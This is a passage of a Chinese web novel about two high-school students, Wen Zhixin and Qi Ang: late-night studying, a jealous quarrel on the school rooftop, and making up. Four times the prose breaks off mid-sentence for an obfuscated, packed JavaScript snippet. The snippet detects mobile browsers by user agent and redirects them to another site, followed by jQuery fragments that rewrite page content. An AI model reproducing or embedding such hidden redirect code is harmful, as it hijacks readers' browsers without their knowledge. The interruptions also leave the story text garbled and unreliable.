祁昂看着温知新,眼睛清亮,声音恢复了清冽,用温知新很熟悉的不可一世的语气说:“我没想过我会不圆满。” 温知新失笑,想起不久前的一件事情。 无聊的时候,她曾在搜索引擎输入祁昂,按下enter键,页面会跳转到他的百度百科。 他的个人履历,可展示出来的家庭背景全都铺陈开来,形成一份巨大的思维导图。 母亲从政,父亲经商,其余亲人在各行各业均有建树。 温知新记得那天晚上,面对着电脑的莹莹蓝光,她握着鼠标,想祁昂这辈子都不会为考不上700分烦忧。 她看着祁昂,眉眼间都是意气风发,赞同他:“当然,你不会不圆满的。” 祁昂说:“承你吉言。” “其实我说过的好听话都没实现过欸。”温知新掰着手指头细数,“小学,我说两个同学肯定是一辈子的好朋友,结果第二天他们就绝交了;初中,有个人一直在进步,我说他下次肯定能考到年级前三十,结果下次考试他就退步了二百名,再也没进步过;还有……” “温知新。”祁昂打断她,从桌洞里拿出一个粉色软皮笔记本,“收下这个,别咒我了。” “这什么?”温知新翻开笔记本,第一张是空白页,劲瘦有力的字体写着:化学重难点题型汇总。 本子里面写了很多重难题,题目旁边用不同颜色的笔标记着不同的解题方式,有基础常见的思路,也有剑走偏锋的怪招。 温知新不可置信地来回翻阅了三遍,抬头对上祁昂的目光,“你什么时候写的?” “就这几天。”祁昂云淡风轻,“防止有人又因为做不出题崩溃,说有机化学毁她青春。” 温知新:“……上天明鉴,有机化学真的很难。” 祁昂屈起手指,关节敲在软笔本封面,“上天派人来救你了。” 温知新立马很上道地紧紧抱住那个本子,先对着天花板说“感谢上天”,又对着祁昂说“感谢天使”。 她眉飞色舞,表情灵动,任何生动的语言在面前都黯然失色。 祁昂轻笑,说:“Mypleasure。” 温知新立刻“哎呦”起来,“天使先生你的英文不错呦。” 祁昂偏头,笑到肩膀都在抖。 温知新也跟着笑起来。 于是两个人又莫名其妙笑成一团。 许妄路过,拧着眉默默加快了脚步,回到座位上,无比珍惜地对舒格说:“我们班前三名就剩你一个正常人了,你一定要挺住。” 舒格写题呢,懒得搭理他,一击毙命:“再说话不给你抄作业了。” 许妄在嘴上拉拉链。 祁昂收拾干净自己的桌面,目光投向温知新那张“战后废墟”的课桌。 “温知新。” “什么?” “你会介意我动你的东西吗?” 温知新在很仔细的看那本化学秘籍,随口说:“不介意啊,你要动什么,动感情?” 沉默,诡异的沉默。 温知新反应过来,很轻地“啊哦”了一声,悄悄去看祁昂,“你知道的,我们写小说的思维就是很活跃,很口不择言,很……” 她编不下去了,拜托,不要让她刚心动就露馅。 “还有词吗?”祁昂忍着笑问。 温知新视死如归一般闭上眼,摇头。 下一秒,她感觉自己的脑袋顶被触摸了。 温知新睁眼,看见祁昂在摸她的头,左手在拍她,右手在拿着垃圾袋。 “……” “哎呀,你快去丢垃圾。”温知新打掉他的手,“不要一只手拿垃圾,一只手摸我的头,很怪。” “好的。”又摸一下。 “祁昂!”温知新怒。 作乱者提着垃圾袋得意地逃之夭夭。 – 晚自习结束,数学物理和化学课代表宣布今天自习做的试卷和限时训练在明早交齐。 沉溺于化学秘籍的温知新和看了一整晚小说的祁昂面面相觑,都在彼此的眼中看到了绝望。 温知新垂死挣扎:“一共几张卷子?” 祁昂翻了一下:“数学物理和化学,各一张试卷和两张限时训练。” 温知新总结:“一共三张试卷和六张限时训练。” “对。” “完了。”温知新倒在她的废墟里,“杀了我我也写不完。” 祁昂说:“其实可以写不完,只是罚站而已。” 温知新否定他:“不要,我不能因为不写作业而被惩罚,这是底线。” “嗯,但是你可以在晚自习不写作业。”祁昂打趣她。 温知新一拳捶在他胸口,“闭嘴吧你。” 两个人想了一个办法,各负责一半。 骑车在路上,温知新嘱咐祁昂,“回家之后,你不要睡着了。” “我不保证。”祁昂说。 温知新也觉得各回各家之后就天高皇帝远了,还是要在眼前盯着比较放心。 “麦当劳二十四小时营业。”温知新说,“你想不想去,我请你吃东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288906|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁昂思考了一小会,勉为其难地答应了。 两个人找了最角落的桌子,还没开始写题,倒是点了一堆吃的。 “OK,吃饱干活不累。”温知新说,“你物理化学,我数学物理,开始吧。” 所幸试卷难度不高,平均90到100分钟之内可以解决一张。 限时训练略难,需要花一点时间,但温知新已经习惯晚上熬夜写题,精神的不行。 那架势仿佛喝一口咖啡,还能大战三天三夜。 祁昂是早睡早起的代表,除了给温知新讲题会熬一会夜,除此之外十点半肯定会准时上床。 他写到后期完全撑不住了,咖啡都成了助眠物。 “温知新。” “什么?” “我要是突然睡着了,你会把我打醒吗?” “你写多少了?” “还差一张限时训练。” “那不会。” “多谢。” 祁昂立刻趴到桌子上,声音闷闷的,“五分钟后叫我。” 温知新觉得自己这么做好像是有点不厚道,拉着祁昂和自己熬夜真是强人所难。 她放轻自己写字的声音,一点一点把剩下的卷子全写完了。 看了一眼手环,一点三十六。 也差不多是她睡觉的时间了。 温知新轻轻喊醒祁昂。 祁昂很艰难地苏醒,睡眼惺忪,呆呆地望向温知新,声音还有点哑,“晚上好。” 温知新眨眨眼,“我写完了,现在回家吧。” “好。”祁昂点头,坐直身子,然后下一秒又直愣愣地栽了下去,压在温知新的肩。 温知新心底一颤,连呼吸都觉得突兀。 她慢慢喊祁昂的名字,得到对方呓语般的嗯声。 他撑着沙发,又一次直起身,脑子还没清明,手已经勾住温知新的书包,往自己肩上一甩,然后低头看了一下时间,一点四十二。 他问温知新:“你平时就这个时间睡觉吗?” “差不多。”温知新说,“两点左右吧。” “第二天几点醒?” “六点多。” 祁昂脚步一顿,“你不猝死才是老天不开眼。” “少咒我。”温知新拍在他的背上,“我正年轻,是可以熬夜的。” “好的,希望能见到五年后的你。” “闭嘴吧,肯定能见到,我会活的好好的。” 两个人推着车往小区走,在温知新家的单元楼下分别。 “我写完的试卷你要带回去抄吗?”温知新问。 祁昂摆手,“不了,我不写。” “但是不写的要被罚站。” “是的,我选择罚站。” “那你为什么还要陪我一起写到这么晚?” 祁昂双手插兜,目光清浅,答非所问:“晚安,温知新。” “晚安,晚安。”温知新抱着书包和他挥手。 35. 错频 温倩知道温知新喜欢在二十四小时营业的店里写作业,在她报完备,确认她是安全的之后就没再追问。 温知新到家的时候温倩早睡了,她对着监控比了个耶打卡。 洗完澡,继续学习。 今天的任务很轻松,整理错题。 温知新整理错题的方式非常简单粗暴,把错题全都剪下来,用胶棒贴在错题本上,旁边标上易错知识点。 为方便以后重做,所以不写详细解题过程,连续做对三次后该题就可以退休。 凌晨一点,任务完成,温知新打了个哈欠,转身飞扑到床上。 她没有立刻睡着,而是思考自己喜欢上祁昂这件事。 不正常的心率和宛若丘比特降临一般的世界被按下静音键,都不允许她去忽略这个问题。 她喜欢祁昂,这点已经可以确定。 但还是需要明确一点,她没有喜欢祁昂到想和他在一起的地步,因为任何人都不值得她付出两个巴掌的代价说一句真爱无敌。 像喝酒和买漂亮衣服一样,喜欢祁昂也可以作为无聊生活的一味调剂。 她喜欢喝酒,但为了身体健康不能经常喝酒; 她喜欢买漂亮衣服,但为了钱包健康不能经常买漂亮衣服; 而她喜欢祁昂,她就可以经常看见祁昂。 这简直是稳赚不赔的买卖。 太理智了温知新,你就是成大事的人。温知新在心里给自己竖了两根大拇指。 然而下一秒,她想到祁昂说的明天见,又没忍住笑出了声,抱着夏凉被在床上滚了好几圈才冷静下来。 在一睁眼就要刷题刷题刷题的生活里,有一件想到就会笑出声音的事情是很幸福的。 – 从光怪陆离的梦里挣扎着醒过来,温知新闭着眼摸到卫生间,洗漱完之后坐到书桌前,刷了半套数学试卷。 换衣服,收拾书包,和温倩报备,下楼,看见祁昂。 接过早餐,把书包递给他。 到教室先把该交的试卷交了,然后慢慢享用早饭,一份三明治和一瓶牛奶。 “这家三明治好好吃,你在哪里买的?”温知新问。 祁昂说:“包装上写名字了。” 温知新去看——礼溪港。 她脑子里把书香别苑附近的面包店全过了一遍,也没想到在哪里见过这个名字。 “是咱们小区附近的吗?” 祁昂说:“是,骑车二十分钟左右。” 温知新微微睁大眼睛,“来回二十分钟还是?” “来回四十分钟。”祁昂脸上依旧没什么表情,冷冷淡淡地补作业。 温知新更震惊了,“四十分钟,就为了买了一份早餐?” “两份。我不需要吃饭吗?”祁昂纠正。 “噢,我以为你是专门为了我才去的呢。”温知新眨眨眼,故意说。 祁昂笔尖一顿,看向温知新,目光沉沉,声音清冽,“你希望是吗?” 温知新愣了片刻,接着毫不回避地回看过去,微微上扬的嘴角表示她此刻心情大好,用同样的语气回敬祁昂:“可以是吗?” 祁昂抿直嘴唇,避而不答,抬手用食指的指侧抵着温知新的温知新的脸颊,手动把她的头转开。 “吃你的早餐吧,温知新。” 温知新哈哈大笑,把最后一口三明治填进嘴里,又喝完了牛奶,又故意逗祁昂,“下回可以特意把牛奶换成豆浆吗?” “温知新。”祁昂微微愠怒的声音响起。 温知新笑,趁还没早读抓紧攥着垃圾溜去后排丢掉。 她喜欢这种有来有回的对决,甚至超过了喜欢祁昂本身。 彼此似乎都攥着牵动对方心脏的一根细线,好玩,上瘾,最重要的一点,她要赢。 – 因为昨晚熬夜写题,祁昂实在困不可支,上午的每个课间都趴在课桌上补觉。 面朝温知新的方向,一只手横在眼前挡着阳光,手指修长,手腕冷白削瘦。 祁昂睡眠质量特别好,温知新在他的脑袋上一张一张又一张地放试卷都无法吵醒他。 彭国豪站在他们的课桌前面,分出一沓递给温知新,她留下两张之后往后传,接着又继续在祁昂头上叠高楼。 “这是多少张卷子?”彭国豪问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305173|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温知新边往上摞试卷边轻笑,小声回答:“九张,现在是第十张。” 一中自印的试卷很薄,十几张也轻飘飘的,没什么重量。 彭国豪很敬佩地朝她竖大拇指,毕竟也没几个人敢在旧王头上动土。 “你不怕祁昂生气?” 温知新说:“我会在他醒之前拿走的,他不会知道的,放心。” 彭国豪点点头,继续去发试卷。 温知新捏着又一张试卷,屏息凝神,伸出手,轻轻放到祁昂的脑袋上。 “温知新。” 宽大的手掌捏住整整十张卷子,祁昂的眼眸直直地锁定温知新。 温知新保持着刚才的动作,伸手,碰着祁昂的脑袋。 “在干什么?” “玩。” “玩我?”祁昂轻轻挑眉。 温知新抿着嘴唇,轻轻点了下头,“行吗?” “随你。”祁昂重新趴下去,又像死了一样睡着了。 温知新不再继续往上加,而是精益求精地整理好已有的这些。 最后还特意放上了两个纽扣大小的彩陶娃娃做点缀。 姜寐举着相机拍了好几张特写。 温知新还双手比着耶,和祁昂合照。 咔嚓咔嚓咔嚓—— 取景器定格最后一幕,温知新从侧转到正,高马尾甩在身后,双手的耶还没放下来。 而祁昂趴在桌子上,头顶着一叠试卷和两只彩陶娃娃,目光向上,注视着温知新。 “玩完了?”祁昂问。 温知新一边笑一边往下拿东西,“玩完了玩完了,谢谢大少爷配合。” 祁昂直起身,揉了揉手臂,声音比平日和缓一些,像融化的冰雪,“公主殿下开心就好。” 两个人对视,又很默契地全都偏过头笑起来。 他们影子落在教室前面的墙上,一左一右,隔着不远不近的距离。 下一秒,风从没关紧的门缝里透进来,吹起温知新的头发,原本毫无交集的两个影子,因为一缕发丝连接在了一起。 叮铃铃—— 又上课了。 36. 夏天 温知新不喜欢夏天。 出去接趟手就能热出一身汗,她揪着前襟扇风进教室,刚要把门关上,就听身后巨大一声:“等等我!” 许妄抱着一个大西瓜风风火火地从走廊那头跑过来,“别关门别关门,等我一下。” “哪儿来的西瓜?”温知新问。 许妄挺着胸脯,十分骄傲,“趁高一做下午课间操的时候去买的,操场那边有个洞,特别方便运货。还是冰镇的呢,快进去分着吃了。” 西瓜套着层塑料袋被放在教室后排的瓷砖地上,十几个人围着西瓜面面相觑。 “没刀,怎么吃?” “摔开吧,一人捡一块。” “我们教室的地很干净吗?你忘了用什么水洗的拖把?” “那怎么办,西瓜马上就不凉了。” 方集试图用勺子嗑出一个口子出来,奈何西瓜皮太厚,怎么使劲都于事无补,“不行,太厚了。” 傅云星被姜寐推了一把,站到那个篮球大小的西瓜前,他蹲下,手一抬一落,西瓜当即裂出一条缝隙,变成了两半。 红彤彤的内瓤露出来的瞬间,全班都欢呼起来,有几个男生甚至抱住了傅云星,大喊“傅哥”。 一个西瓜,就好像赢过全世界。 十六七岁的全世界。 姜寐站在人群最外圈,笑着看傅云星被人拥着抱着,在他看过来时,又给他一个安心的眼神。 “睡睡,张嘴。”温知新举着叉子从最里面挤出来,叉子上是一大块西瓜。 姜寐笑得更开心,张嘴咬下那块西瓜,“好甜。” “你吃着,我再去给祁昂叉一块去。”温知新说。 她又举着叉子进去了,像个战士。 姜寐看到温知新给祁昂的西瓜比给自己小得多,满意地笑起来,转身找傅云星去了。 “祁昂,西瓜。”温知新把叉子递给他。 “你吃了吗?”祁昂问。 温知新一边擦着额头的汗,一边说:“吃了,特别甜,我不喜欢。” 祁昂从口袋里掏出几颗酸糖,放到温知新手心,“交换。” “你到底还有多少这个糖,能不能一次性给我。”温知新说。 祁昂咬下那块还没鸡蛋大的西瓜,笑着摇摇头。 “小气鬼。”温知新说。 祁昂嚼着西瓜,笑而不语。 温知新撕开糖纸,含着糖块,把酒精湿巾贴在额头上,随便抽出一本薄练习册扇风,“好热好热好热,夏天什么时候过去啊?” 祁昂:“十一月。” 温知新崩溃:“这合理吗?我要去射日。” 祁昂抽出一张湿巾擦手擦嘴,叠好丢进垃圾袋里,“去吧,当代后羿。” 温知新:“……我要有一把弓箭第一个射的肯定是你。” 祁昂轻笑一声,“暴君。” 温知新不以为意,“就暴,君要臣死臣不得不死。” 祁昂顺着她:“怎么才能饶我一命,大王?” 温知新还真的思考起来,亮亮的眼睛盯着祁昂,笑着说:“帮我把叉子洗了。” “……”祁昂眼神瞬间变得无奈,食指指腹点在温知新额头,“怎么这么懒,温知新。” “外面太热了,从现在到吃晚饭,我不会再踏出教室门半步。” “好的,大王。”祁昂去帮她洗餐具,出去的时候还拍了拍她的头。 从开水间到教室也就五十米,没几分钟祁昂就回来了,然后看见上一秒还发誓不会走出教室的那个人,倚着墙和别人聊得正开心。 徐修明。 他怎么也阴魂不散的。 “谢谢你,修明哥,你真是帮了我大忙了。”温知新说。 最近她在总结正男诗集投稿失败的原因,发现是自己找错了方向。 因为她一直在专攻小说,所以想当然地也把正男的作品投到了这些出版社,然而这些出版社的作品中并没有多少位置是留给诗集的。 温知新了解到有一家出版社的青春风诗集销量很好,但一直找不到投稿方式,兜兜转转问下来,发现徐修明的妈妈居然是这家出版社的主编。 徐修明笑:“我也就帮忙要了一下投稿方式,具体能不能出版还是要看你自己的作品质量的。” 温知新:“无论如何也很感谢你,等你有时间请你喝东西。” 徐修明推一下眼镜,脸上始终挂着淡淡的笑,“等高考结束吧。” 温知新看着他眼镜后面的黑眼圈,明白他也是熬夜修仙的同道中人。 “要去哪里,温知新。”祁昂手里握着不锈钢叉,迈着大步,走路都带风。 温知新说:“还没定好呢,等修明哥考完试再说。” 祁昂面无表情点点头,把叉子塞到她手里,头也没回地走进教室了。 “那我先走了,再见。”徐修明说。 “嗯,拜拜。”温知新挥手,也转身进了教室。 祁昂在低头摁手机,看都没看她。 温知新眨眨眼,从桌洞里随便抽了一张试卷,咳了一声,故意道:“这题好难啊。” 祁昂一动不动。 温知新忍着笑,继续:“要是有个好心人教一下午就好了。” 祁昂瞥来一个眼神,温知新立马把试卷推过去。 “怎么不让修明哥给你讲?” 温知新听他阴阳怪气的语气,低头抿着唇笑起来。 从郁锦程那件事开始,温知新就悟出了祁昂的另一组成部分:独一无二。 他好像天然地认为自己拥有的东西应该和别人不同。 哪怕只是在朋友心里的位置,他也要和别人不一样。 温知新把这个归结为祁昂从小就在家庭里获得了很多关注。 她觉得这种无伤大雅的占有欲挺可爱的,心情好的时候可以纵容,也顺便满足一下她的私心。 温知新抬起头,很认真地说:“只能你来教我,我对其他人过敏。” 出乎意料地,祁昂居然很受用这种夸张的谎话,他显而易见地开心起来,微微翘着嘴角,准备仔细阅读题目。 “温知新。” “嗯?怎么了?” “你确定要拿一道实数题问我怎么做吗?” 温知新一把又将试卷抽回来塞回抽屉,“就不要对台阶的要求太高啦。” 祁昂看着温知新那么生动的笑脸,愣了一下,随后半仰着头,轻轻笑起来。 – 从晚饭到晚自习上课之间有一个半小时的空闲,此时天色将晚未晚,天空是泛着蓝调的,十分漂亮。 温知新找祁昂要了天台的钥匙,要去欣赏一会儿傍晚景色。 “注意安全。”祁昂说。 温知新点头:“知道知道。” 天台上锁时间是六点,此刻应该紧紧锁着才对,然而温知新刚碰到那扇门,门就开了一条缝。 难道今天没锁门? 温知新想着,干脆利落地往外推了一下,门全部被打开,吱呀的声音吸引了原本站在天台上的人。 “修明哥?”温知新看清那人的脸庞,“你怎么在这里?” 晚风吹起徐修明额头的刘海,他笑了一下,“来透透气。” “但高三文科班不是在宜佳楼吗?”温知新问。 徐修明看向她手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314309|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那串钥匙,扬了下眉,“我当年只偷偷配了一把宜理楼的钥匙。” “你要不要多配几把?”温知新把那一大堆钥匙递过去,“偷偷的,我不告密。” 徐修明说:“谢谢,但是不用了,我们班离这里也不远,当散步了。” 温知新点头,把钥匙收回去,和他一起并肩站在天台栏杆旁,望着远方逐渐浓起来的夜色,问:“你介意我在这儿站着吗,或者我离你远一些?” 徐修明摇头:“当然不介意,有个人说说话也很好。” “而且我嘴很严。” 徐修明轻轻笑起来,感慨道:“真好啊,你应该没什么烦恼。” 如果换作是祁昂说这种自以为是的话,温知新早就反驳了,但对方是徐修明,一个不远不近的朋友。 她只会笑着说:“我又不是没有七情六欲,怎么会没有烦恼。” 徐修明意识到自己说错了话,“抱歉,我的意思是在学习方面,因为我实在想象不到考全省第一的人有什么烦恼。” “下次可能就考不到第一了,这算烦恼吗?”温知新问。 “当然,打江山容易守江山难。”徐修明说,“但是你还有一年的时间呢,总能慢慢守好第一这个位置的。” 温知新能听懂大部分的言外之意,比如徐修明此时此刻的意思其实是“他没有时间了”。 今天是五月二十八号,距离高考只剩九天。 真真正正的弹指一挥间。 焦虑不安紧张期待,在这时候,任何情绪都会被放大。 温知新也不太想说什么加油之类的假大空的话,谁不知道要加油,谁不知道要努力学习,谁不知道高考完就好了。 但问题不就是现在,此时此刻,黎明前的黑暗格外难熬吗? 温知新想到了徐修明眼下的黑眼圈,说:“那就希望你从现在开始的每天都能睡个好觉。” 徐修明怔了片刻,松开了栏杆上紧攥的双拳,默然两秒后说:“谢谢你,知新。” 温知新说:“这有什么好谢的。” 因为自从高考倒计时以来,徐修明听过那么多的“坚持”“努力”“全力以赴”“别留遗憾”。 温知新是第一个那么坦诚大方地祝他睡个好觉的人。 最重要的是她没有加“高考完你就可以……”这种听着就让人恼火的前缀。 徐修明最讨厌这句话。 “总之,谢谢你。” 温知新故作烦恼地叹了口气,“好吧,既然你坚持要谢,那就不客气吧。” 徐修明真心实意笑起来,又说了一遍谢谢,“我原本心情挺差的,和你聊完天好多了。” “那希望你的心情一直这么好。”温知新说。 天越来越黑,温知新低头看了一眼手表,发现快要上晚自习了,她和徐修明打了声招呼就要离开。 转身,随后就定在了原地。 天台的门半掩着,楼道的声控灯亮起,打在祁昂海没有表情的脸上,半明半暗。 温知新的心突地一跳,下意识后撤了一步。 仿佛就是这个撤退彻底将祁昂逼到忍无可忍,他走向温知新。 徐修明意识到事情不对劲,害怕祁昂对温知新动手,抓紧也走过去,横在他俩中间,“好好说话,不要动手。” 温知新:“……”好了,现在场面彻底混乱了。 祁昂说:“不会动手,我们先走了。” 他越过徐修明,攥住温知新的手腕。 温知新被拉着往前走,回头和徐修明挥手,让他放心,他俩真的不会互殴。 “温知新,你还想回去继续和徐修明聊天是吗?” 37. 反省 温知新甩开祁昂的手,两个人沉默着往教室走。 在还没安静下来的教室,两个人的争吵声并不显眼,都冷着脸,远远看过去好像在讨论数学问题。 温知新问:“你为什么生这么大气,因为徐修明吗?” 祁昂冷声冷调,“不然呢?我应该笑着恭喜你和徐修明抱在一起吗?” 温知新真的讨厌他冷嘲热讽的反问句,她冷笑摊手:“当然可以,没人拦你。” 祁昂愠怒,“温知新。” 温知新要说话的时候,刺耳的铃声刚好响起,教室瞬间安静下来,她也顺势闭住嘴。 温知新找出要写的作业,身子往左边一转,只留给祁昂一个背影。 这种冰河世纪一般的气氛持续到晚自习结束,期间温知新出去接了一次水,和姜寐分吃完了一份鸡翅,与舒格讨论了一道物理题,就是没和祁昂说一句话。 终于到了放学的时候,彭国豪又风风火火跑过来,拿着一张数学试卷。 “不好意思,知新,可以耽误你几分钟吗?我有道题怎么也算不出来,能给我讲讲吗?” “当然可以。”温知新停下收拾书包的动作去读题。 一道导数题,计算量大一点,但思路不算特别难。 温知新拿起笔,边写边讲了七八分钟。 “大致思路就是这样的,你回去再算一遍吧。” “谢谢你啊,知新。”彭国豪收起试卷,笑着问:“你回家是往州平路那边走吗?” 温知新不明所以,点头,“对,怎么了?” “我也往那边走,但是好像没怎么见过你。”彭国豪问,“你自己一个人回家吗?” 温知新下意识往旁边看了一眼,祁昂猛地站起来,头也不回地往外走。 温知新看着他的背影若有所思,对彭国豪点点头,“对,我自己回家,怎么了?” 彭国豪扭捏着问:“我们以后能一起走吗?” 温知新笑着拒绝:“不能,因为我每天回去的时间都不定,和我一起走会很浪费你时间。” 彭国豪想说没关系,他的时间用来等她一点都不浪费。 但是温知新只是轻轻柔柔笑着,他就看出来了不容辩驳的坚决。 彭国豪说:“好的,那我先走了,拜拜。” “嗯,拜。” 温知新目送彭国豪离开之后,开始慢吞吞收拾书包,把要写的和已经写完要带回家的习题册全装好后,关上教室灯。 环境一下子暗了下来,温知新一转眼,被墙边的人影吓了一跳。 祁昂抱着臂,垂着眼睛不知道在想什么,只是在温知新出来的一瞬间,目光瞬间锁定她。 “!”温知新又被他吓到了,心脏猛地一跳。 随即又冷静下来,绕过他往楼道走。 祁昂紧跟在她身后。 两个人的脚步越来越快,最后是跑出的教学楼。 肩上的书包沉甸甸的,还没到车棚温知新就快被累死了,双手撑在膝盖上大口呼吸。 她居然负重和祁昂比赛跑步,这真的太蠢了。 祁昂默不作声地拽了拽温知新的书包带。 温知新回头看着他,一秒,两秒,三秒,第四秒之后,她好像没看见祁昂似的,直接略过他转身去推自行车。 从一中到书香别苑,这一路上两个人都没有说话。 祁昂跟着回到温知新家的单元楼下,在她马上要进电梯时,出声喊住她:“温知新。” 温知新停下脚步,回头看他。 祁昂抿着唇,眼眶似乎微微泛红,声音仍然冷冷的,“温知新,我不信你不明白我为什么生气。” 在温知新犹豫的时候,祁昂又开口:“可以和徐修明在天台吹风拥抱,但是不能和我说话是吗?温知新。” 温知新第一次这么讨厌祁昂连名带姓喊自己,她转身,随手摘下书包丢在地上,声音干脆坚定:“好,说。” “你想说什么,说我和徐修明吗?他高考压力大,我安慰他,这样也不行吗?我连交朋友的权利都没有吗?” 祁昂深吸一口气:“当然,当然有,你有和他在天□□处的权利,有和他拥抱的权利,也有和他交往的权利。” 温知新看着祁昂的眼睛,冷笑:“又要判我死罪了吗?这次的罪名是什么,早恋吗?” 祁昂抿直嘴唇,几次三番咽下嘴边的话,最后只说:“温知新,我不想和你吵架。” “那你现在是在干什么?不是在质问我吗?你不相信我,不管我说什么,你都觉得我和徐修明不清白是吗?” 这种不信任让温知新想到在云宁的时候,不管她怎么解释,温倩坚持认为她早恋。 那种无力感很令人绝望。 所以在那之后她再也不解释什么了,反正她说话也没人信。 “温知新。”祁昂说,“你有和我好好解释吗?” 温知新听到他这种高高在上的,审讯一般的语气就生气,她反问:“从天台下来开始你就不断对我冷嘲热讽,我现在能和你说话已经很不错了,你还想让我好好和你解释,凭什么?” 祁昂深吸一口气,慢慢靠近她,声音低低,“对不起。” 温知新是个很吃软不吃硬的人,祁昂一道歉,她的气也消了一半,解释起来,“快高考,修明哥压力很大,在天台抽烟,好像还想跳楼,我怕他真出事,安慰他一下,就这样,那个拥抱甚至都没有一秒钟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346574|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有一件事。”祁昂放轻语气,慢慢问:“在天台,你转身之后看见了我,为什么要后退?” 温知新“哈”一声,说:“一个不知道是人是鬼的东西杵在那里,我不能害怕吗?” “可以。”祁昂低着头轻轻笑起来,又靠近了温知新一点,“对不起,我刚才的语气太差了,我应该好好说话的,以后会改的。” “现在是反省自己时间吗?我可以说完你再检讨我自己吗?”温知新说。 祁昂笑得肩膀都在抖,说:“嗯,说我吧。” “你说话真的很气人,莫名其妙的反问句和莫名其妙的阴阳怪气,真的很气人。”温知新说,“当然,我说话也挺咄咄逼人的。” 祁昂垂着眸看她,说:“没有很咄咄逼人,就是一生气就爱冷战,不理人。” “这个没办法,我应该改不了。”温知新仰头看他,“以后我再不理你的话,你就多说一点吧,有一个人说话就不算冷战了。” “好。”祁昂低声答应。 “事情解决,快回去吧,我今天还有好多任务没完成呢。”温知新催他。 “温知新,朋友可以拥抱对吧?”祁昂意在言外,轻轻挑眉。 温知新抿着唇,内心祈祷自己的心跳声小一点,再小一点。 祁昂已经微微张开双臂,小小地歪了一下头。 温知新轻轻抱住他,在振聋发聩的心跳声里放弃抵抗。 不喜欢她没关系,单纯有好胜心也没关系,只是想与众不同也没关系。 至少这一秒的拥抱是真实的。 “晚安,温知新,明天见。” “明天见。” 单元楼下的路灯已经被修好了,灯光亮堂堂的,绿化带里的虫鸣声仿佛也清晰起来。 温知新此时又不着急上楼刷题了,她想等看不见祁昂之后再回去。 还有一个转弯,只有一个转弯了。 祁昂忽然转过身来,高高举起双手,交叉着挥了好多下。 温知新心一颤,也笑着挥手。 两个人跟着了魔一样,隔着那么远的距离挥来挥去。 最后带着一身蚊子包回去了。 温故而知新:【六个!我才待了五分钟,居然咬了我六个包!】 7:【没咬我】 温故而知新:【凭什么!】 7:【喜欢你】 温知新愣住,“啊”了一声之后把手机丢到了床上,捧着脸静了三四秒,又灰溜溜地把手机捡了起来。 发现还有第二句。 7:【蚊子喜欢你】 温故而知新:【谁要蚊子喜欢!】 明天她不会理祁昂的,让祁昂自己说一天话去吧,累死他。 38. 眼泪 五月份最后一次周测,温知新考了全班第六。 她坐在座位上,沉默着盯着手上那张薄薄的成绩条。 整整十分钟都没有动作,直到姜寐喊她一起去超市,她才如梦初醒般回神,应了一声“好”,转头把成绩单撕碎了,丢进垃圾袋里。 天热,两个人挑着树荫走,温知新没精打采的,高马尾都蔫了下去。 姜寐问她:“怎么了,垂头丧气的。” 温知新说:“没考好,最近日子过得太惬意了可能。” 姜寐像听到什么恐怖故事,手指头戳了戳温知新的黑眼圈,“是我对惬意有什么误解吗,你有一天是两点前睡觉的吗?” 温知新叹口气,很无奈地说:“那更完蛋了,我又努力又退步,我就是白雪公主的妹妹,白学公主。” 她很惨,可说的话又实在好笑,姜寐的道德和笑点在打架,忍到肚子快岔气。 结果温知新又来了一句:“笑吧,脸都憋红了,你现在是毒苹果的妹妹,红苹果。” 姜寐彻底忍不住了,挽着温知新的胳膊狂笑。 路过的学生纷纷侧目,温知新侧过头,捂着脸让姜寐小声笑。 “好的。”姜寐一边笑,一边在自己的嘴巴上拉拉链,“去超市吧。” 隔着磨砂门,看不清超市的里面,姜寐随口问了一句,“人多不多啊?我不想进去挤着。” 温知新开门探查情况,回她:“禀主公,人不多,可以一战。” 姜寐点头,接她的话茬:“战则请从。” 然后两个人又像被点了笑穴一样,脑袋凑在一起乐个不停。 